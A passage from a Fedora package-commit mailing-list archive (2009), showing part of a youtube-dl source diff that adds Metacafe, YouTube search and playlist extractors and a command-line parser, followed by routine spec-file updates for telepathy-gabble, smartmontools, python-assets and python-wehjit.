+				# Process video information
+				self._downloader.process_info({
+					'id':		video_id.decode('utf-8'),
+					'url':		video_real_url.decode('utf-8'),
+					'uploader':	video_uploader.decode('utf-8'),
+					'title':	video_title,
+					'stitle':	simple_title,
+					'ext':		video_extension.decode('utf-8'),
+				})
+
+				return
+
+			except UnavailableFormatError, err:
+				if best_quality:
+					if quality_index == len(self._available_formats) - 1:
+						# I don't ever expect this to happen
+						self._downloader.trouble(u'ERROR: no known formats available for video')
+						return
+					else:
+						self.report_unavailable_format(video_id, format_param)
+						quality_index += 1
+						format_param = self._available_formats[quality_index]
+						continue
+				else: 
+					self._downloader.trouble('ERROR: format not available for video')
+					return
+
+
+class MetacafeIE(InfoExtractor):
+	"""Information Extractor for metacafe.com."""
+
+	_VALID_URL = r'(?:http://)?(?:www\.)?metacafe\.com/watch/([^/]+)/([^/]+)/.*'
+	_DISCLAIMER = 'http://www.metacafe.com/family_filter/'
+	_FILTER_POST = 'http://www.metacafe.com/f/index.php?inputType=filter&controllerGroup=user'
+	_youtube_ie = None
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+
+	@staticmethod
+	def suitable(url):
+		return (re.match(MetacafeIE._VALID_URL, url) is not None)
+
+	def report_disclaimer(self):
+		"""Report disclaimer retrieval."""
+		self._downloader.to_stdout(u'[metacafe] Retrieving disclaimer')
+
+	def report_age_confirmation(self):
+		"""Report attempt to confirm age."""
+		self._downloader.to_stdout(u'[metacafe] Confirming age')
+	
+	def report_download_webpage(self, video_id):
+		"""Report webpage download."""
+		self._downloader.to_stdout(u'[metacafe] %s: Downloading webpage' % video_id)
+	
+	def report_extraction(self, video_id):
+		"""Report information extraction."""
+		self._downloader.to_stdout(u'[metacafe] %s: Extracting information' % video_id)
+
+	def _real_initialize(self):
+		# Retrieve disclaimer
+		request = urllib2.Request(self._DISCLAIMER, None, std_headers)
+		try:
+			self.report_disclaimer()
+			disclaimer = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to retrieve disclaimer: %s' % str(err))
+			return
+
+		# Confirm age
+		disclaimer_form = {
+			'filters': '0',
+			'submit': "Continue - I'm over 18",
+			}
+		request = urllib2.Request(self._FILTER_POST, urllib.urlencode(disclaimer_form), std_headers)
+		try:
+			self.report_age_confirmation()
+			disclaimer = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to confirm age: %s' % str(err))
+			return
+	
+	def _real_extract(self, url):
+		# Extract id and simplified title from URL
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid URL: %s' % url)
+			return
+
+		video_id = mobj.group(1)
+
+		# Check if video comes from YouTube
+		mobj2 = re.match(r'^yt-(.*)$', video_id)
+		if mobj2 is not None:
+			self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % mobj2.group(1))
+			return
+
+		simple_title = mobj.group(2).decode('utf-8')
+		video_extension = 'flv'
+
+		# Retrieve video webpage to extract further information
+		request = urllib2.Request('http://www.metacafe.com/watch/%s/' % video_id)
+		try:
+			self.report_download_webpage(video_id)
+			webpage = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable retrieve video webpage: %s' % str(err))
+			return
+
+		# Extract URL, uploader and title from webpage
+		self.report_extraction(video_id)
+		mobj = re.search(r'(?m)&mediaURL=([^&]+)', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract media URL')
+			return
+		mediaURL = urllib.unquote(mobj.group(1))
+
+		#mobj = re.search(r'(?m)&gdaKey=(.*?)&', webpage)
+		#if mobj is None:
+		#	self._downloader.trouble(u'ERROR: unable to extract gdaKey')
+		#	return
+		#gdaKey = mobj.group(1)
+		#
+		#video_url = '%s?__gda__=%s' % (mediaURL, gdaKey)
+
+		video_url = mediaURL
+
+		mobj = re.search(r'(?im)<title>(.*) - Video</title>', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract title')
+			return
+		video_title = mobj.group(1).decode('utf-8')
+
+		mobj = re.search(r'(?ms)<li id="ChnlUsr">.*?Submitter:.*?<a .*?>(.*?)<', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract uploader nickname')
+			return
+		video_uploader = mobj.group(1)
+
+		try:
+			# Process video information
+			self._downloader.process_info({
+				'id':		video_id.decode('utf-8'),
+				'url':		video_url.decode('utf-8'),
+				'uploader':	video_uploader.decode('utf-8'),
+				'title':	video_title,
+				'stitle':	simple_title,
+				'ext':		video_extension.decode('utf-8'),
+			})
+		except UnavailableFormatError:
+			self._downloader.trouble(u'ERROR: format not available for video')
+
+
+class YoutubeSearchIE(InfoExtractor):
+	"""Information Extractor for YouTube search queries."""
+	_VALID_QUERY = r'ytsearch(\d+|all)?:[\s\S]+'
+	_TEMPLATE_URL = 'http://www.youtube.com/results?search_query=%s&page=%s&gl=US&hl=en'
+	_VIDEO_INDICATOR = r'href="/watch\?v=.+?"'
+	_MORE_PAGES_INDICATOR = r'(?m)>\s*Next\s*</a>'
+	_youtube_ie = None
+	_max_youtube_results = 1000
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+	
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubeSearchIE._VALID_QUERY, url) is not None)
+
+	def report_download_page(self, query, pagenum):
+		"""Report attempt to download playlist page with given number."""
+		self._downloader.to_stdout(u'[youtube] query "%s": Downloading page %s' % (query, pagenum))
 
-	try:
-		video_file = open(video_filename, 'wb')
-	except (IOError, OSError):
-		sys.exit('Error: unable to open "%s" for writing.' % video_filename)
-	try:
-		video_len = long(video_data.info()['Content-length'])
-		video_len_str = format_bytes(video_len)
-	except KeyError:
-		video_len = None
-		video_len_str = 'N/A'
-
-	byte_counter = 0
-	block_size = const_initial_block_size
-	start_time = time.time()
-	while True:
-		if video_len is not None:
-			percent = float(byte_counter) / float(video_len) * 100.0
-			percent_str = '%.1f' % percent
-			eta_str = calc_eta(start_time, time.time(), video_len, byte_counter)
+	def _real_initialize(self):
+		self._youtube_ie.initialize()
+	
+	def _real_extract(self, query):
+		mobj = re.match(self._VALID_QUERY, query)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid search query "%s"' % query)
+			return
+
+		prefix, query = query.split(':')
+		prefix = prefix[8:]
+		if prefix == '':
+			self._download_n_results(query, 1)
+			return
+		elif prefix == 'all':
+			self._download_n_results(query, self._max_youtube_results)
+			return
 		else:
-			percent_str = '---.-'
-			eta_str = '--:--'
-		counter = format_bytes(byte_counter)
-		speed_str = calc_speed(start_time, time.time(), byte_counter)
-		cond_print('\rRetrieving video data: %5s%% (%8s of %s) at %8s/s ETA %s ' % (percent_str, counter, video_len_str, speed_str, eta_str))
-
-		before = time.time()
-		video_block = video_data.read(block_size)
-		after = time.time()
-		dl_bytes = len(video_block)
-		if dl_bytes == 0:
-			break
-		byte_counter += dl_bytes
-		video_file.write(video_block)
-		block_size = new_block_size(before, after, dl_bytes)
-
-	if video_len is not None and byte_counter != video_len:
-		error_advice_exit('server did not send the expected ammount of data')
-
-	video_file.close()
-	cond_print('done.\n')
-	cond_print('Video data saved to %s\n' % video_filename)
-
-except (urllib2.URLError, ValueError, httplib.HTTPException, TypeError, socket.error):
-	cond_print('failed.\n')
-	error_advice_exit('unable to download video data')
+			try:
+				n = long(prefix)
+				if n <= 0:
+					self._downloader.trouble(u'ERROR: invalid download number %s for query "%s"' % (n, query))
+					return
+				elif n > self._max_youtube_results:
+					self._downloader.to_stderr(u'WARNING: ytsearch returns max %i results (you requested %i)'  % (self._max_youtube_results, n))
+					n = self._max_youtube_results
+				self._download_n_results(query, n)
+				return
+			except ValueError: # parsing prefix as integer fails
+				self._download_n_results(query, 1)
+				return
+
+	def _download_n_results(self, query, n):
+		"""Downloads a specified number of results for a query"""
+
+		video_ids = []
+		already_seen = set()
+		pagenum = 1
+
+		while True:
+			self.report_download_page(query, pagenum)
+			result_url = self._TEMPLATE_URL % (urllib.quote_plus(query), pagenum)
+			request = urllib2.Request(result_url, None, std_headers)
+			try:
+				page = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download webpage: %s' % str(err))
+				return
+
+			# Extract video identifiers
+			for mobj in re.finditer(self._VIDEO_INDICATOR, page):
+				video_id = page[mobj.span()[0]:mobj.span()[1]].split('=')[2][:-1]
+				if video_id not in already_seen:
+					video_ids.append(video_id)
+					already_seen.add(video_id)
+					if len(video_ids) == n:
+						# Specified n videos reached
+						for id in video_ids:
+							self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+						return
+
+			if re.search(self._MORE_PAGES_INDICATOR, page) is None:
+				for id in video_ids:
+					self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+				return
+
+			pagenum = pagenum + 1
+
+class YoutubePlaylistIE(InfoExtractor):
+	"""Information Extractor for YouTube playlists."""
+
+	_VALID_URL = r'(?:http://)?(?:\w+\.)?youtube.com/(?:view_play_list|my_playlists)\?.*?p=([^&]+).*'
+	_TEMPLATE_URL = 'http://www.youtube.com/view_play_list?p=%s&page=%s&gl=US&hl=en'
+	_VIDEO_INDICATOR = r'/watch\?v=(.+?)&'
+	_MORE_PAGES_INDICATOR = r'/view_play_list?p=%s&page=%s'
+	_youtube_ie = None
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+	
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubePlaylistIE._VALID_URL, url) is not None)
+
+	def report_download_page(self, playlist_id, pagenum):
+		"""Report attempt to download playlist page with given number."""
+		self._downloader.to_stdout(u'[youtube] PL %s: Downloading page #%s' % (playlist_id, pagenum))
 
-except KeyboardInterrupt:
-	sys.exit('\n')
+	def _real_initialize(self):
+		self._youtube_ie.initialize()
+	
+	def _real_extract(self, url):
+		# Extract playlist id
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid url: %s' % url)
+			return
+
+		# Download playlist pages
+		playlist_id = mobj.group(1)
+		video_ids = []
+		pagenum = 1
+
+		while True:
+			self.report_download_page(playlist_id, pagenum)
+			request = urllib2.Request(self._TEMPLATE_URL % (playlist_id, pagenum), None, std_headers)
+			try:
+				page = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download webpage: %s' % str(err))
+				return
+
+			# Extract video identifiers
+			ids_in_page = []
+			for mobj in re.finditer(self._VIDEO_INDICATOR, page):
+				if mobj.group(1) not in ids_in_page:
+					ids_in_page.append(mobj.group(1))
+			video_ids.extend(ids_in_page)
+
+			if (self._MORE_PAGES_INDICATOR % (playlist_id.upper(), pagenum + 1)) not in page:
+				break
+			pagenum = pagenum + 1
+
+		for id in video_ids:
+			self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+		return
+
+class PostProcessor(object):
+	"""Post Processor class.
+
+	PostProcessor objects can be added to downloaders with their
+	add_post_processor() method. When the downloader has finished a
+	successful download, it will take its internal chain of PostProcessors
+	and start calling the run() method on each one of them, first with
+	an initial argument and then with the returned value of the previous
+	PostProcessor.
+
+	The chain will be stopped if one of them ever returns None or the end
+	of the chain is reached.
+
+	PostProcessor objects follow a "mutual registration" process similar
+	to InfoExtractor objects.
+	"""
+
+	_downloader = None
+
+	def __init__(self, downloader=None):
+		self._downloader = downloader
+
+	def set_downloader(self, downloader):
+		"""Sets the downloader for this PP."""
+		self._downloader = downloader
+	
+	def run(self, information):
+		"""Run the PostProcessor.
 
-# Finish
-sys.exit()
+		The "information" argument is a dictionary like the ones
+		composed by InfoExtractors. The only difference is that this
+		one has an extra field called "filepath" that points to the
+		downloaded file.
+
+		When this method returns None, the postprocessing chain is
+		stopped. However, this method may return an information
+		dictionary that will be passed to the next postprocessing
+		object in the chain. It can be the one it received after
+		changing some fields.
+
+		In addition, this method may raise a PostProcessingError
+		exception that will be taken into account by the downloader
+		it was called from.
+		"""
+		return information # by default, do nothing
+	
+### MAIN PROGRAM ###
+if __name__ == '__main__':
+	try:
+		# Modules needed only when running the main program
+		import getpass
+		import optparse
+
+		# General configuration
+		urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()))
+		urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor()))
+		socket.setdefaulttimeout(300) # 5 minutes should be enough (famous last words)
+
+		# Parse command line
+		parser = optparse.OptionParser(
+			usage='Usage: %prog [options] url...',
+			version='2009.09.13',
+			conflict_handler='resolve',
+		)
+
+		parser.add_option('-h', '--help',
+				action='help', help='print this help text and exit')
+		parser.add_option('-v', '--version',
+				action='version', help='print program version and exit')
+		parser.add_option('-i', '--ignore-errors',
+				action='store_true', dest='ignoreerrors', help='continue on download errors', default=False)
+		parser.add_option('-r', '--rate-limit',
+				dest='ratelimit', metavar='L', help='download rate limit (e.g. 50k or 44.6m)')
+
+		authentication = optparse.OptionGroup(parser, 'Authentication Options')
+		authentication.add_option('-u', '--username',
+				dest='username', metavar='UN', help='account username')
+		authentication.add_option('-p', '--password',
+				dest='password', metavar='PW', help='account password')
+		authentication.add_option('-n', '--netrc',
+				action='store_true', dest='usenetrc', help='use .netrc authentication data', default=False)
+		parser.add_option_group(authentication)
+
+		video_format = optparse.OptionGroup(parser, 'Video Format Options')
+		video_format.add_option('-f', '--format',
+				action='store', dest='format', metavar='FMT', help='video format code')
+		video_format.add_option('-b', '--best-quality',
+				action='store_const', dest='format', help='download the best quality video possible', const='0')
+		video_format.add_option('-m', '--mobile-version',
+				action='store_const', dest='format', help='alias for -f 17', const='17')
+		video_format.add_option('-d', '--high-def',
+				action='store_const', dest='format', help='alias for -f 22', const='22')
+		parser.add_option_group(video_format)
+
+		verbosity = optparse.OptionGroup(parser, 'Verbosity / Simulation Options')
+		verbosity.add_option('-q', '--quiet',
+				action='store_true', dest='quiet', help='activates quiet mode', default=False)
+		verbosity.add_option('-s', '--simulate',
+				action='store_true', dest='simulate', help='do not download video', default=False)
+		verbosity.add_option('-g', '--get-url',
+				action='store_true', dest='geturl', help='simulate, quiet but print URL', default=False)
+		verbosity.add_option('-e', '--get-title',
+				action='store_true', dest='gettitle', help='simulate, quiet but print title', default=False)
+		parser.add_option_group(verbosity)
+
+		filesystem = optparse.OptionGroup(parser, 'Filesystem Options')
+		filesystem.add_option('-t', '--title',
+				action='store_true', dest='usetitle', help='use title in file name', default=False)
+		filesystem.add_option('-l', '--literal',
+				action='store_true', dest='useliteral', help='use literal title in file name', default=False)
+		filesystem.add_option('-o', '--output',
+				dest='outtmpl', metavar='TPL', help='output filename template')
+		filesystem.add_option('-a', '--batch-file',
+				dest='batchfile', metavar='F', help='file containing URLs to download')
+		filesystem.add_option('-w', '--no-overwrites',
+				action='store_true', dest='nooverwrites', help='do not overwrite files', default=False)
+		filesystem.add_option('-c', '--continue',
+				action='store_true', dest='continue_dl', help='resume partially downloaded files', default=False)
+		parser.add_option_group(filesystem)
+
+		(opts, args) = parser.parse_args()
+
+		# Batch file verification
+		batchurls = []
+		if opts.batchfile is not None:
+			try:
+				batchurls = open(opts.batchfile, 'r').readlines()
+				batchurls = [x.strip() for x in batchurls]
+				batchurls = [x for x in batchurls if len(x) > 0]
+			except IOError:
+				sys.exit(u'ERROR: batch file could not be read')
+		all_urls = batchurls + args
+
+		# Conflicting, missing and erroneous options
+		if len(all_urls) < 1:
+			parser.error(u'you must provide at least one URL')
+		if opts.usenetrc and (opts.username is not None or opts.password is not None):
+			parser.error(u'using .netrc conflicts with giving username/password')
+		if opts.password is not None and opts.username is None:
+			parser.error(u'account username missing')
+		if opts.outtmpl is not None and (opts.useliteral or opts.usetitle):
+			parser.error(u'using output template conflicts with using title or literal title')
+		if opts.usetitle and opts.useliteral:
+			parser.error(u'using title conflicts with using literal title')
+		if opts.username is not None and opts.password is None:
+			opts.password = getpass.getpass(u'Type account password and press return:')
+		if opts.ratelimit is not None:
+			numeric_limit = FileDownloader.parse_bytes(opts.ratelimit)
+			if numeric_limit is None:
+				parser.error(u'invalid rate limit specified')
+			opts.ratelimit = numeric_limit
+
+		# Information extractors
+		youtube_ie = YoutubeIE()
+		metacafe_ie = MetacafeIE(youtube_ie)
+		youtube_pl_ie = YoutubePlaylistIE(youtube_ie)
+		youtube_search_ie = YoutubeSearchIE(youtube_ie)
+
+		# File downloader
+		fd = FileDownloader({
+			'usenetrc': opts.usenetrc,
+			'username': opts.username,
+			'password': opts.password,
+			'quiet': (opts.quiet or opts.geturl or opts.gettitle),
+			'forceurl': opts.geturl,
+			'forcetitle': opts.gettitle,
+			'simulate': (opts.simulate or opts.geturl or opts.gettitle),
+			'format': opts.format,
+			'outtmpl': ((opts.outtmpl is not None and opts.outtmpl.decode(preferredencoding()))
+				or (opts.usetitle and u'%(stitle)s-%(id)s.%(ext)s')
+				or (opts.useliteral and u'%(title)s-%(id)s.%(ext)s')
+				or u'%(id)s.%(ext)s'),
+			'ignoreerrors': opts.ignoreerrors,
+			'ratelimit': opts.ratelimit,
+			'nooverwrites': opts.nooverwrites,
+			'continuedl': opts.continue_dl,
+			})
+		fd.add_info_extractor(youtube_search_ie)
+		fd.add_info_extractor(youtube_pl_ie)
+		fd.add_info_extractor(metacafe_ie)
+		fd.add_info_extractor(youtube_ie)
+		retcode = fd.download(all_urls)
+		sys.exit(retcode)
+
+	except DownloadError:
+		sys.exit(1)
+	except SameFileError:
+		sys.exit(u'ERROR: fixed output name but more than one file to download')
+	except KeyboardInterrupt:
+		sys.exit(u'\nERROR: Interrupted by user')


Index: youtube-dl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/youtube-dl/F-12/youtube-dl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- youtube-dl.spec	27 Jul 2009 08:55:10 -0000	1.3
+++ youtube-dl.spec	9 Oct 2009 16:53:36 -0000	1.4
@@ -1,13 +1,13 @@
 Name:           youtube-dl
-Version:        2008.01.24
-Release:        3%{?dist}
+Version:        2009.09.13
+Release:        2%{?dist}
 Summary:        Small command-line program to download videos from YouTube
 Summary(pl):    Tekstowy program do pobierania film?w z youtube.com
 Group:          Applications/Multimedia
-License:        MIT
-URL:            http://www.arrakis.es/~rggi3/youtube-dl/
-Source0:        http://www.arrakis.es/~rggi3/youtube-dl/youtube-dl
-Source1:        http://www.arrakis.es/~rggi3/youtube-dl/index.html
+License:        Public Domain
+URL:            http://bitbucket.org/rg3/youtube-dl
+Source0:        http://bitbucket.org/rg3/youtube-dl/raw/%{version}/youtube-dl
+Source1:        http://bitbucket.org/rg3/youtube-dl/wiki/Home
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 Requires:       python >= 2.4
@@ -20,7 +20,7 @@ youtube-dl to ma?y tekstowy program s?
 youtube.com.
 
 %prep
-cp %{SOURCE1} .
+install -p -m0644 %{SOURCE1} index.html
 
 %build
 #nothing to build
@@ -39,6 +39,13 @@ rm -rf $RPM_BUILD_ROOT
 %doc index.html
 
 %changelog
+* Fri Oct 09 2009 Rafa? Psota <rafalzaq at gmail.com> - 2009.09.13-2
+- Small fix in %%prep
+
+* Sun Sep 27 2009 Rafa? Psota <rafalzaq at gmail.com> - 2009.09.13-1
+- Update to 2009.09.13
+- License change to Public Domain
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2008.01.24-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From bpepple at fedoraproject.org  Fri Oct  9 17:08:41 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Fri,  9 Oct 2009 17:08:41 +0000 (UTC)
Subject: rpms/telepathy-gabble/devel .cvsignore, 1.55, 1.56 sources, 1.55,
	1.56 telepathy-gabble.spec, 1.67, 1.68
Message-ID: <20091009170842.05EFD11C00C1@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-gabble/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2502

Modified Files:
	.cvsignore sources telepathy-gabble.spec 
Log Message:
* Fri Oct  9 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.6-1
- Update to 0.8.6.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/devel/.cvsignore,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- .cvsignore	3 Oct 2009 19:34:34 -0000	1.55
+++ .cvsignore	9 Oct 2009 17:08:40 -0000	1.56
@@ -1 +1 @@
-telepathy-gabble-0.8.5.tar.gz
+telepathy-gabble-0.8.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/devel/sources,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- sources	3 Oct 2009 19:34:34 -0000	1.55
+++ sources	9 Oct 2009 17:08:40 -0000	1.56
@@ -1 +1 @@
-6874a802082c010d0abb0b75fbfbe8fc  telepathy-gabble-0.8.5.tar.gz
+4a9e82aefbc34883ec2fc0f314bac4bd  telepathy-gabble-0.8.6.tar.gz


Index: telepathy-gabble.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/devel/telepathy-gabble.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- telepathy-gabble.spec	3 Oct 2009 19:34:34 -0000	1.67
+++ telepathy-gabble.spec	9 Oct 2009 17:08:40 -0000	1.68
@@ -1,5 +1,5 @@
 Name:           telepathy-gabble
-Version:        0.8.5
+Version:        0.8.6
 Release:        1%{?dist}
 Summary:        A Jabber/XMPP connection manager
 
@@ -13,7 +13,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  dbus-devel >= 1.1.0
 BuildRequires:  dbus-glib-devel >= 0.78
 BuildRequires:  loudmouth-devel >= 1.3.2
-BuildRequires:  telepathy-glib-devel >= 0.7.34
+BuildRequires:  telepathy-glib-devel >= 0.7.37
 BuildRequires:  glib2-devel >= 2.16
 BuildRequires:  libuuid-devel
 BuildRequires:  libsoup-devel
@@ -59,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  9 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.6-1
+- Update to 0.8.6.
+
 * Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.5-1
 - Update to 0.8.5.
 



From mhlavink at fedoraproject.org  Fri Oct  9 18:09:54 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 18:09:54 +0000 (UTC)
Subject: rpms/smartmontools/devel smartd.initd, 1.8, 1.9 smartmontools.spec, 
	1.62, 1.63
Message-ID: <20091009180954.E050D11C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18050

Modified Files:
	smartd.initd smartmontools.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20
- fix init script for case when no action was specified



Index: smartd.initd
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartd.initd,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- smartd.initd	9 Oct 2009 09:02:24 -0000	1.8
+++ smartd.initd	9 Oct 2009 18:09:53 -0000	1.9
@@ -123,7 +123,7 @@ case "$1" in
 	*)
 		echo $"Usage: $0 {start|stop|restart|status|condrestart|try-restart|reload|force-reload|report}"
 		RETVAL=2
-		[ $1 = 'usage' ] && RETVAL=0
+		[ '$1' = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- smartmontools.spec	9 Oct 2009 09:02:25 -0000	1.62
+++ smartmontools.spec	9 Oct 2009 18:09:53 -0000	1.63
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	19%{?dist}
+Release: 	20%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20
+- fix init script for case when no action was specified
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-19
 - make init script lsb compliant (#528016)
 



From jderose at fedoraproject.org  Fri Oct  9 18:18:20 2009
From: jderose at fedoraproject.org (Jason DeRose)
Date: Fri,  9 Oct 2009 18:18:20 +0000 (UTC)
Subject: rpms/python-assets/devel import.log, 1.2, 1.3 python-assets.spec,
	1.2, 1.3
Message-ID: <20091009181820.7F31911C02A1@cvs1.fedora.phx.redhat.com>

Author: jderose

Update of /cvs/pkgs/rpms/python-assets/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19870/devel

Modified Files:
	import.log python-assets.spec 
Log Message:



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	8 Oct 2009 18:51:54 -0000	1.2
+++ import.log	9 Oct 2009 18:18:20 -0000	1.3
@@ -1,2 +1,3 @@
 python-assets-0_1_0-1_fc11:HEAD:python-assets-0.1.0-1.fc11.src.rpm:1253905376
 python-assets-0_1_1-1_fc11:HEAD:python-assets-0.1.1-1.fc11.src.rpm:1255027842
+python-assets-0_1_1-2_fc11:HEAD:python-assets-0.1.1-2.fc11.src.rpm:1255112268


Index: python-assets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/devel/python-assets.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- python-assets.spec	8 Oct 2009 18:51:54 -0000	1.2
+++ python-assets.spec	9 Oct 2009 18:18:20 -0000	1.3
@@ -2,7 +2,7 @@
 
 Name:           python-assets
 Version:        0.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Cache-friendly asset management via content-hash-naming
 
 Group:          Development/Languages
@@ -41,9 +41,12 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc README COPYING COPYING.LESSER
 %{python_sitelib}/assetslib/
-%{python_sitelib}/assets-%{version}-py2.6.egg-info
+%{python_sitelib}/assets-%{version}-*.egg-info
 
 %changelog
+* Fri Oct 09 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.1-2
+- Fixed *.egg-info for Python 2.4 compatability
+
 * Tue Sep 29 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.1-1
 - New release
 



From jderose at fedoraproject.org  Fri Oct  9 18:25:44 2009
From: jderose at fedoraproject.org (Jason DeRose)
Date: Fri,  9 Oct 2009 18:25:44 +0000 (UTC)
Subject: rpms/python-wehjit/devel import.log, 1.2, 1.3 python-wehjit.spec,
	1.2, 1.3
Message-ID: <20091009182544.8397F11C00C1@cvs1.fedora.phx.redhat.com>

Author: jderose

Update of /cvs/pkgs/rpms/python-wehjit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22119/devel

Modified Files:
	import.log python-wehjit.spec 
Log Message:



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-wehjit/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	8 Oct 2009 19:08:23 -0000	1.2
+++ import.log	9 Oct 2009 18:25:44 -0000	1.3
@@ -1,2 +1,3 @@
 python-wehjit-0_1_0-1_fc11:HEAD:python-wehjit-0.1.0-1.fc11.src.rpm:1253905694
 python-wehjit-0_1_1-1_fc11:HEAD:python-wehjit-0.1.1-1.fc11.src.rpm:1255028766
+python-wehjit-0_1_1-2_fc11:HEAD:python-wehjit-0.1.1-2.fc11.src.rpm:1255112705


Index: python-wehjit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-wehjit/devel/python-wehjit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- python-wehjit.spec	8 Oct 2009 19:08:23 -0000	1.2
+++ python-wehjit.spec	9 Oct 2009 18:25:44 -0000	1.3
@@ -2,7 +2,7 @@
 
 Name:           python-wehjit
 Version:        0.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A Python web-widget library
 
 Group:          Development/Languages
@@ -41,10 +41,13 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc README COPYING
 %{python_sitelib}/wehjit/
-%{python_sitelib}/wehjit-%{version}-py2.6.egg-info
+%{python_sitelib}/wehjit-%{version}-*.egg-info
 %{_bindir}/wehjit-demo
 
 %changelog
+* Fri Oct 09 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.1-2
+- Fixed *.egg-info for Python 2.4 compatability
+
 * Tue Sep 29 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.1-1
 - New release
 



From simo at fedoraproject.org  Fri Oct  9 18:34:44 2009
